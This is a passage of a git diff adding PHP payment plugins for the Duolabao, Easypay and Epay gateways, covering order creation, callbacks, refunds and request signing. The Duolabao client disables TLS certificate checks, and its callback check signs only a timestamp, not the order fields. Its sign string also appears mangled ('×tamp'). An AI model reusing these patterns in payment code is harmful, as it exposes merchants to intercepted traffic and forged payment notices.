+ //sm4加密 + private function sm4DoEncrypt($plaintext, $key){ + $sm4 = new Rtgm\sm\RtSm4($key); + return $sm4->encrypt($plaintext,'sm4',base64_decode($this->sm4Iv),'base64'); + } + + public function sm3ToHex($str){ + $sm3 = new Rtgm\sm\RtSm3(); + return $sm3->digest($str); + } + + //获取平台公钥 + private function getDinpayPublicKey(){ + $cer_public_content = file_get_contents($this->platform_cert_path); + $cer_public_content = str_replace(PHP_EOL,'',$cer_public_content); + $certificateContent = '-----BEGIN CERTIFICATE-----' . PHP_EOL + . chunk_split($cer_public_content, 64, PHP_EOL) + . '-----END CERTIFICATE-----'.PHP_EOL; + $cer_public_key = openssl_pkey_get_public($certificateContent); + if(!$cer_public_key){ + throw new Exception('读取平台公钥失败:'.openssl_error_string()); + } + $key_detail = openssl_pkey_get_details($cer_public_key); + $cerPublicKey = bin2hex($key_detail['ec']['x']).bin2hex($key_detail['ec']['y']); //公钥的ec格式 + return $cerPublicKey; + } + + //获取商户私钥 + private function getMerchantPrivateKey(){ + $cert_store = file_get_contents($this->merchant_cert_path); + + $status = openssl_pkcs12_read($cert_store, $cert_info, $this->merchant_private_pwd); + if (!$status) { + throw new Exception('读取商户私钥失败:'.openssl_error_string()); + } + + $fpx_private_key = $cert_info['pkey']; + $private_key = openssl_pkey_get_private($fpx_private_key); + $key_detail = openssl_pkey_get_details($private_key); + + $privateKey = bin2hex($key_detail['ec']['d']); + + return $privateKey; + } +} \ No newline at end of file diff --git a/plugins/duolabao/duolabao_plugin.php b/plugins/duolabao/duolabao_plugin.php new file mode 100644 index 0000000..9af42ed --- /dev/null +++ b/plugins/duolabao/duolabao_plugin.php @@ -0,0 +1,340 @@ + 'duolabao', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '哆啦宝支付', //支付插件显示名称 + 'author' => '哆啦宝', //支付插件作者 + 'link' => 'http://www.duolabao.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','qqpay','bank','jdpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'customerNum' => [ + 'name' => '商户编号', + 'type' => 'input', + 'note' => '', + ], + 'shopNum' => [ + 'name' => '店铺编号', + 'type' => 'input', + 'note' => '', + ], + 'accessKey' => [ + 'name' => '公钥', + 'type' => 'input', + 'note' => '', + ], + 'secretKey' => [ + 'name' => '私钥', + 'type' => 'input', + 'note' => '', + ], + ], + 'select' => null, + 'select_alipay' => [ + '1' => '扫码支付', + '2' => 'JS支付', + ], + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if(checkalipay() && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if(checkmobile() && !checkwechat() && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }else{ + return ['type'=>'jump','url'=>'/pay/'.$order['typename'].'/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $device, $mdevice; + + if($order['typename']=='alipay'){ + if($mdevice=='alipay' && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if($device=='mobile' && $mdevice!='wechat' && $channel['appwxa']>0){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }else{ + $typename = $order['typename']; + return self::$typename(); + } + } + + //通用创建订单 + static public function addOrder(){ + global $channel, $order, $ordername, $conf, $clientip; + + require PAY_ROOT.'inc/PayApp.class.php'; + $client = new PayApp($channel['accessKey'], $channel['secretKey']); + + $param = [ + 'customerNum' => $channel['customerNum'], + 'shopNum' => $channel['shopNum'], + 'requestNum' => TRADE_NO, + 'amount' => sprintf('%.2f' , $order['realmoney']), + 'source' => 'API', + 'callbackUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'completeUrl' => $siteurl . 'pay/return/' . TRADE_NO . '/', + ]; + + $result = $client->submit('/v1/customer/order/payurl/create', $param); + return $result['url']; + } + + //通用创建订单 + static public function addJspay($bankType, $authId){ + global $channel, $order, $ordername, $conf, $clientip; + + require PAY_ROOT.'inc/PayApp.class.php'; + $client = new PayApp($channel['accessKey'], $channel['secretKey']); + + $param = [ + 'customerNum' => $channel['customerNum'], + 'shopNum' => $channel['shopNum'], + 'requestNum' => TRADE_NO, + 'amount' => sprintf('%.2f' , $order['realmoney']), + 'bankType' => $bankType, + 'authId' => $authId, + 'callbackUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + ]; + + $result = $client->submit('/v1/customer/order/pay/create', $param); + return $result['bankRequest']; + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('2',$channel['apptype']) && !in_array('1',$channel['apptype'])){ + $code_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + }else{ + try{ + $code_url = self::addOrder(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + } + + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + static public function alipayjs(){ + [$user_type, $user_id] = alipay_oauth(); + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + if($user_type == 'openid'){ + return ['type'=>'error','msg'=>'支付宝快捷登录获取uid失败,需将用户标识切换到uid模式']; + } + + try{ + $result = self::addJspay('ALIPAY', $user_id); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$result['ORDERNUM'], 'redirect_url'=>$redirect_url]]; + } + + //微信扫码支付 + static public function wxpay(){ + global $siteurl, $device, $mdevice; + try{ + $code_url = self::addOrder(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if(checkwechat() || $mdevice == 'wechat'){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile() || $device == 'mobile') { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $result = self::addJspay('WX', $openid); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"微信支付下单失败!'.$ex->getMessage().'"}'); + } + + $payinfo = ['appId'=>$result['APPID'], 'timeStamp'=>$result['TIMESTAMP'], 'nonceStr'=>$result['NONCESTR'], 'package'=>$result['PACKAGE'], 'signType'=>$result['SIBGTYPE'], 'paySign'=>$result['PAYSIGN']]; + + exit(json_encode(['code'=>0, 'data'=>$payinfo])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl, $channel, $order; + + if ($channel['appwxa']>0) { + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try { + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + } catch (Exception $e) { + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + return self::wxpay(); + } + } + + //QQ扫码支付 + static public function qqpay(){ + global $siteurl, $device, $mdevice; + try{ + $code_url = self::addOrder(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败!'.$ex->getMessage()]; + } + + if(checkmobbileqq() || $mdevice == 'qq'){ + return ['type'=>'jump','url'=>$code_url]; + } elseif((checkmobile() || $device == 'mobile') && !isset($_GET['qrcode'])){ + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$code_url]; + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::addOrder(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + if (checkmobile()) { + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + } + + //京东支付 + static public function jdpay(){ + try{ + $code_url = self::addOrder(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'京东支付下单失败!'.$ex->getMessage()]; + } + + if (checkmobile()) { + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'jdpay_qrcode','url'=>$code_url]; + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require PAY_ROOT.'inc/PayApp.class.php'; + $client = new PayApp($channel['accessKey'], $channel['secretKey']); + + if ($client->verifyNotify()) { + $trade_no = $_GET['requestNum']; //流水号 + $api_trade_no = $_GET['orderNum']; //订单编号 + $orderAmount = $_GET['orderAmount']; //订单金额 + if ($_GET['status'] == 'SUCCESS') { + if ($trade_no == TRADE_NO && round($order['realmoney'],2) == round($orderAmount,2)) { + processNotify($order, $api_trade_no); + } + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'fail']; + } + } else { + return ['type'=>'html','data'=>'fail']; + } + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require PAY_ROOT.'inc/PayApp.class.php'; + $client = new PayApp($channel['accessKey'], $channel['secretKey']); + + $param = [ + 'customerNum' => $channel['customerNum'], + 'shopNum' => $channel['shopNum'], + 'requestNum' => $order['trade_no'], + 'refundPartAmount' => $order['refundmoney'], + 'refundRequestNum' => $order['refund_no'], + ]; + try{ + $result = $client->submit('/v1/customer/order/refund/part', $param); + return ['code'=>0, 'trade_no'=>$result['orderNum'], 'refund_fee'=>$result['refundAmount']]; + }catch(Exception $ex){ + return ['code'=>-1,'msg'=>$ex->getMessage()]; + } + } +} \ No newline at end of file diff --git a/plugins/duolabao/inc/PayApp.class.php b/plugins/duolabao/inc/PayApp.class.php new file mode 100644 index 0000000..0f14003 --- /dev/null +++ b/plugins/duolabao/inc/PayApp.class.php @@ -0,0 +1,91 @@ +accessKey = $accessKey; + $this->secretKey = $secretKey; + } + + public function submit($path, $param = null){ + $json = $param ? json_encode($param) : ''; + $time = time(); + $token = $this->get_token($path, $json, $time); + $headers = [ + 'Content-Type: application/json', + 'accessKey: ' . $this->accessKey, + 'timestamp: ' . $time, + 'token: ' . $token + ]; + $path = implode('/', array_map('urlencode', explode('/', $path))); + $response = $this->curl($path, $headers, $json); + $result = json_decode($response, true); + if($result['result'] == 'success'){ + return $result['data']; + }elseif(isset($result['error'])){ + throw new Exception('['.$result['error']['errorCode'].']'.$result['error']['errorMsg']); + }else{ + throw new Exception('接口请求失败'); + } + } + + public function verifyNotify() + { + $timestamp = $_SERVER['HTTP_TIMESTAMP']; + $signString = 'secretKey='.$this->secretKey.'×tamp='.$timestamp; + $token = strtoupper(sha1($signString)); + if ($token !== $_SERVER['HTTP_TOKEN']) { + return false; + } + return true; + } + + private function get_token($path, $body, $time){ + $sign_data = [ + 'secretKey' => $this->secretKey, + 'timestamp' => $time, + 'path' => $path, + ]; + if($body) { + $sign_data['body'] = $body; + } + $o = ''; + foreach ($sign_data as $k => $v) { + $o .= "{$k}={$v}&"; + } + $o = substr($o , 0 , -1); + $token = strtoupper(sha1($o)); + return $token; + } + + private function curl($path, $headers, $post = null) + { + $url = self::GATEWAY . $path; + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + $httpheader[] = "Accept: */*"; + $httpheader[] = "Accept-Encoding: gzip,deflate"; + $httpheader[] = "Accept-Language: zh-CN,zh;q=0.9"; + $httpheader[] = "Connection: keep-alive"; + curl_setopt($ch, CURLOPT_TIMEOUT, 10); + if ($post) { + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, $post); + } + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_HTTPHEADER, array_merge($httpheader, $headers)); + curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + $result = curl_exec($ch); + curl_close($ch); + return $result; + } +} \ No newline at end of file diff --git a/plugins/easypay/easypay_plugin.php b/plugins/easypay/easypay_plugin.php new file mode 100644 index 0000000..45c10b2 --- /dev/null +++ b/plugins/easypay/easypay_plugin.php @@ -0,0 +1,307 @@ + 'easypay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '易生支付', //支付插件显示名称 + 'author' => '易生', //支付插件作者 + 'link' => 'https://www.easypay.com.cn/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '机构号', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '设备号', + 'type' => 'input', + 'note' => '', + ], + ], + 'select' => null, + 'note' => '将密钥上传到 /plugins/easypay/cert ,易生公钥pay.pem,商户私钥mch.key', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat'){ + return self::wxjspay(); + }elseif($device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //扫码支付接口 + static private function qrcode($tradeCode){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/PayApp.class.php"); + + $orgTrace = substr($channel['appid'], 0, 4) . substr($channel['appid'], -4) . TRADE_NO; + + $params = [ + 'orgBackUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'tradeCode' => $tradeCode, + 'tradeAmt' => intval(round($order['realmoney']*100)), + 'orderInfo' => $ordername, + 'infoAttach' => TRADE_NO, + ]; + + $client = new \easypay\PayApp($channel['appid'],$channel['appmchid'],$channel['appkey']); + $result = \lib\Payment::lockPayData(TRADE_NO, function() use($client, $orgTrace, $params) { + return $client->paySubmit('/standard/native', $orgTrace, $params); + }); + if($result['finRetcode'] == '99'){ + return $result['qrCode']; + }else{ + throw new Exception('['.$result['appendRetcode'].']'.$result['appendRetmsg']); + } + } + + //JSAPI支付接口 + static private function jsapi($tradeCode, $appid, $openid){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/PayApp.class.php"); + + $orgTrace = substr($channel['appid'], 0, 4) . substr($channel['appid'], -4) . TRADE_NO; + + $params = [ + 'orgBackUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'orgFrontUrl' => $siteurl . 'pay/return/' . TRADE_NO . '/', + 'payerId' => $openid, + 'tradeCode' => $tradeCode, + 'tradeAmt' => intval(round($order['realmoney']*100)), + 'orderInfo' => $ordername, + 'infoAttach' => TRADE_NO, + 'wxSubAppid' => $appid, + ]; + + $client = new \easypay\PayApp($channel['appid'],$channel['appmchid'],$channel['appkey']); + $result = \lib\Payment::lockPayData(TRADE_NO, function() use($client, $orgTrace, $params) { + return $client->paySubmit('/standard/jsapi', $orgTrace, $params); + }); + if($result['finRetcode'] == '99'){ + return $result; + }else{ + throw new Exception('['.$result['appendRetcode'].']'.$result['appendRetmsg']); + } + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + $code_url = self::qrcode('WAC2B'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $siteurl; + + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + + if(checkwechat()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl, $channel, $order; + + if ($channel['appwxa']>0) { + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try { + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + } catch (Exception $e) { + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }elseif($channel['appwxmp']>0){ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + }else{ + return self::wxpay(); + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel; + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $result = self::jsapi('WTJS1', $wxinfo['appid'], $openid); + $payinfo = $result['wxWcPayData']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$payinfo, 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $result = self::jsapi('WTJS2', $wxinfo['appid'], $openid); + $payinfo = $result['wxWcPayData']; + }catch(Exception $ex){ + exit('{"code":-1,"msg":"微信支付下单失败!'.$ex->getMessage().'"}'); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($payinfo, true)])); + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::qrcode('WUC2B'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $json = file_get_contents('php://input'); + $arr = json_decode($json, true); + if(!$arr) return ['type'=>'html','data'=>'no data']; + + require(PAY_ROOT."inc/PayApp.class.php"); + + $client = new \easypay\PayApp($channel['appid'],$channel['appmchid'],$channel['appkey']); + $verify_result = $client->verifySign($arr['data'], $arr['sign']); + + if($verify_result) {//验证成功 + + if ($arr['data']['finRetcode'] == '00') { + $out_trade_no = substr($arr['data']['oriOrgTrace'], 8); + $api_trade_no = $arr['data']['outTrace']; + $money = $arr['data']['payerAmt']; + $buyer = $arr['data']['payerId']; + if($out_trade_no == TRADE_NO && intval(round($order['realmoney']*100)) == $money){ + processNotify($order, $api_trade_no, $buyer); + } + } + return ['type'=>'html','data'=>'ok']; + } + else { + return ['type'=>'html','data'=>'error']; + } + } + + //同步回调 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT."inc/PayApp.class.php"); + + $orgTrace = substr($channel['appid'], 0, 4) . substr($channel['appid'], -4) . $order['refund_no']; + + $params = [ + 'oriOutTrace' => $order['api_trade_no'], + 'oriBizDate' => substr($order['trade_no'], 0, 14), + 'transAmt' => strval($order['refundmoney']*100), + ]; + + try{ + $client = new \easypay\PayApp($channel['appid'],$channel['appmchid'],$channel['appkey']); + $result = $client->refundSubmit('/ledger/mposrefund', $orgTrace, $params); + + return ['code'=>0, 'trade_no'=>$result['outTrace'], 'refund_fee'=>$result['transAmt']/100]; + + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } +} \ No newline at end of file diff --git a/plugins/easypay/inc/PayApp.class.php b/plugins/easypay/inc/PayApp.class.php new file mode 100644 index 0000000..9b6b156 --- /dev/null +++ b/plugins/easypay/inc/PayApp.class.php @@ -0,0 +1,160 @@ +orgId = $orgId; + $this->orgMercode = $orgMercode; + $this->orgTermno = $orgTermno; + } + + //发起API请求 + public function paySubmit($path, $orgTrace, $data){ + $requrl = $this->pay_gateway . $path; + $sign = $this->generateSign($data); + $params = [ + 'orgId' => $this->orgId, + 'orgMercode' => $this->orgMercode, + 'orgTermno' => $this->orgTermno, + 'orgTrace' => $orgTrace, + 'sign' => $sign, + 'signType' => $this->signType, + 'data' => $data, + ]; + + $response = get_curl($requrl, json_encode($params), 0, 0, 0, 0, 0, ['Content-Type: application/json; charset=utf-8']); + $result = json_decode($response, true); + if(isset($result['sysRetcode']) && $result['sysRetcode']=='000000'){ + if(!empty($result['sign'])){ + if(!$this->verifySign($result['data'], $result['sign'])){ + throw new Exception('返回数据验签失败'); + } + } + return $result['data']; + }elseif(isset($result['sysRetmsg'])){ + throw new Exception('['.$result['sysRetcode'].']'.$result['sysRetmsg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //发起API请求 + public function refundSubmit($path, $orgTrace, $bizData){ + $requrl = $this->refund_gateway . $path; + $sign = $this->generateSign($bizData); + $params = [ + 'orgId' => $this->orgId, + 'orgMercode' => $this->orgMercode, + 'orgTermno' => $this->orgTermno, + 'orgTrace' => $orgTrace, + 'sign' => $sign, + 'signType' => $this->signType, + 'bizData' => $bizData, + ]; + + $response = get_curl($requrl, json_encode($params), 0, 0, 0, 0, 0, ['Content-Type: application/json; charset=utf-8']); + $result = json_decode($response, true); + if(isset($result['sysRetCode']) && $result['sysRetCode']=='000000'){ + if(!empty($result['sign'])){ + if(!$this->verifySign($result['bizData'], $result['sign'])){ + throw new Exception('返回数据验签失败'); + } + } + return $result['bizData']; + }elseif(isset($result['sysRetMsg'])){ + throw new Exception('['.$result['sysRetCode'].']'.$result['sysRetMsg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + + //获取待签名字符串 + private function getSignContent($param){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $v!=''){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr,0,-1); + return $signstr; + } + + //请求参数签名 + private function generateSign($param){ + return $this->rsaPrivateSign($this->getSignContent($param)); + } + + //验签方法 + public function verifySign($param, $sign){ + if(empty($sign)) return false; + return $this->rsaPubilcSign($this->getSignContent($param), $sign); + } + + //商户私钥签名 + private function rsaPrivateSign($data){ + $res = file_get_contents($this->private_key_path); + $pkeyid = openssl_pkey_get_private($res); + if(!$pkeyid){ + throw new Exception('签名失败,商户私钥不正确'); + } + openssl_sign($data, $signature, $pkeyid, OPENSSL_ALGO_SHA256); + $signature = base64_encode($signature); + return $signature; + } + + //平台公钥验签 + private function rsaPubilcSign($data, $signature){ + $res = file_get_contents($this->public_key_path); + $pubkeyid = openssl_pkey_get_public($res); + if(!$pubkeyid){ + throw new Exception('验签失败,易生公钥不正确'); + } + $result = openssl_verify($data, base64_decode($signature), $pubkeyid, OPENSSL_ALGO_SHA256); + return $result; + } + + //公钥加密 + public function rsaPublicEncrypt($content) { + $res = file_get_contents($this->public_key_path); + $pubKey = openssl_pkey_get_public($res); + if(!$pubKey){ + throw new Exception('加密失败,易生公钥不正确'); + } + $encrypted = ''; + openssl_public_encrypt($content, $encrypted, $pubKey, OPENSSL_PKCS1_PADDING); + return base64_encode($encrypted); + } + + //私钥解密 + public function rsaPrivateDecrypt($content) { + $res = file_get_contents($this->private_key_path); + $priKey = openssl_pkey_get_private($res); + if(!$priKey){ + throw new Exception('解密失败,商户私钥不正确'); + } + $decrypted = ''; + openssl_private_decrypt(base64_decode($content), $decrypted, $priKey, OPENSSL_PKCS1_PADDING); + return $decrypted; + } + +} \ No newline at end of file diff --git a/plugins/epay/epay_plugin.php b/plugins/epay/epay_plugin.php new file mode 100644 index 0000000..a86b408 --- /dev/null +++ b/plugins/epay/epay_plugin.php @@ -0,0 +1,318 @@ + 'epay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '彩虹易支付', //支付插件显示名称 + 'author' => '彩虹', //支付插件作者 + 'link' => '', //支付插件作者链接 + 'types' => ['alipay','qqpay','wxpay','bank','jdpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appurl' => [ + 'name' => '接口地址', + 'type' => 'input', + 'note' => '必须以http://或https://开头,以/结尾', + ], + 'appid' => [ + 'name' => '商户ID', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户密钥', + 'type' => 'input', + 'note' => '', + ], + 'appswitch' => [ + 'name' => '是否使用mapi接口', + 'type' => 'select', + 'options' => [0=>'否',1=>'是'], + ], + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf; + + if($channel['appswitch']==1){ + return ['type'=>'jump','url'=>'/pay/'.$order['typename'].'/'.TRADE_NO.'/']; + }else{ + + require(PAY_ROOT."inc/epay.config.php"); + require(PAY_ROOT."inc/EpayCore.class.php"); + $parameter = array( + "pid" => trim($epay_config['pid']), + "type" => $order['typename'], + "notify_url" => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + "return_url" => $siteurl.'pay/return/'.TRADE_NO.'/', + "out_trade_no" => TRADE_NO, + "name" => $order['name'], + "money" => $order['realmoney'] + ); + //建立请求 + $epay = new EpayCore($epay_config); + if(is_https() && substr($epay_config['apiurl'],0,7)=='http://'){ + $jump_url = $epay->getPayLink($parameter); + return ['type'=>'jump','url'=>$jump_url]; + }else{ + $html_text = $epay->pagePay($parameter, '正在跳转'); + return ['type'=>'html','data'=>$html_text]; + } + + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + 